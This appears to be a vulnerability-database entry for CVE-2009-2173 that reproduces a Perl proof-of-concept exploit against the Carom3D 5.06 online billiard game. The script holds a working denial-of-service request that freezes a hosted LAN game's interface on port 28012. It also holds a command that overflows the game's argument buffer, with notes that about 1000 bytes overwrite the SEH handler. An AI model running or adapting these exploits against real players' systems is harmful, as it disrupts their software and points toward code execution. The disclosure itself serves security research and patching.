Carom3D 5.06 Unicode Buffer Overrun/DoS Vulnerability

🗓️ 16 Jun 2009 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 47 Views

Carom3D 5.06 Unicode Buffer Overrun/DoS Vulnerability. Buffer overflow and denial of service in Carom3D online billiard gam

Reporter	Title	Published	Views	Family All 7
ATTACKERKB	CVE-2009-2173	23 Jun 200921:30	–	attackerkb
Circl	CVE-2009-2173	16 Jun 200900:00	–	circl
CVE	CVE-2009-2173	23 Jun 200921:21	–	cve
Cvelist	CVE-2009-2173	23 Jun 200921:21	–	cvelist
EUVD	EUVD-2009-2169	7 Oct 202500:30	–	euvd
NVD	CVE-2009-2173	23 Jun 200921:30	–	nvd
Prion	Command injection	23 Jun 200921:30	–	prion

<html><body><p>#!/usr/bin/perl
#
# Title: Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability
#
#
# Summary: Carom 3D is an online multi-user billiard game created with special
#	   3D graphic effects bringing every aspect such as 6 ball, 9 ball, 8
#	   ball and other Billiard games to life.
#
# Product Web Page: http://www.carom3d.com/
#
# Description: The world famous korean game Carom3D suffers from a buffer overflow
#	       and a denial of service vulnerability. The BoF is triggered at
#	       runtime when we append 218 &gt; bytes as an argument. ~1000 bytes
#	       overwrites SEH. The denial of service is triggered when a user
#	       creates a LAN Game (cred. needed), creates a room and awaits
#	       other players to join the game. While awaiting (listening on port
#	       28012), with a simple HTTP GET/POST, an attacker can lockdown
#	       the GUI of the user created the room, not alowing to start or
#	       even exit the game's GUI, unless forced quit (X).
#
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 15.06.2009
#

# ----------------------------------DoS---------------------------------- #

use LWP::Simple;

my $url = 'http://192.168.1.3:28012';
my $lockdown = get $url;
die "Couldn't get $url" unless defined $lockdown;

# You can Ctrl+C, the lockdown is ON.

# ---------------------------------/DoS---------------------------------- #





###########################################################################





# ----------------------------------BoF---------------------------------- #

# Added 217 bytes as argument = runs normally.
# Added 218 bytes as argument triggers the MS VC++ Runtime Library
# 'Buffer Overrun' error msg box informing us that the program's
# internal state is corrupted.

system('C:\\Progra~1\\Neoact\\Carom3D\\carom.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

# ---------------------------------/BoF---------------------------------- #</p></body></html>

16 Jun 2009 00:00Current

6.1Medium risk

Vulners AI Score6.1

CVSS 23.5

EPSS0.01345